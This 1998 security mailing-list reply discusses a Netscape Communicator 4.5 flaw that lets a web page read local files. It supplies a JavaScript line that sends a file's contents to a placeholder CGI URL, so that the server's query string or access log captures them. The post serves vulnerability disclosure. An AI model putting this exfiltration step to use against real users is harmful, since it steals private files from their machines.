Re: Netscape Communicator 4.5 can read local files

From: Pavel Kankovsky (peakat_private)
Date: Wed Nov 25 1998 - 11:13:13 PST

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    On Wed, 25 Nov 1998, Ben Collins wrote:
    
    > If some one here can setup a webpage, send me the URL, have that page read
    > the file '/test.txt' from my hardrive and then that person send the
    > contents to this list, I will believe. Otherwise I think this whole
    > hysteria over 'unforseen' dangers should stop.
    
    replace alert(b) with
    
            w=window.open(\"some_url?\"+escape(b));
    
    and make sure some_url points to a cgi script recording its $QUERY_STRING
    (in fact, the text would be recorded in access_log as well)
    
    BTW: it seems both Java and JavaScripts must be enabled
    
    --Pavel Kankovsky aka Peak  [ Boycott Czech Telecom--http://www.bojkot.cz ]
    "spt Telecom... ted zdrazujeme zitrek!" [ Engl. lang. info-- .../english/ ]
    



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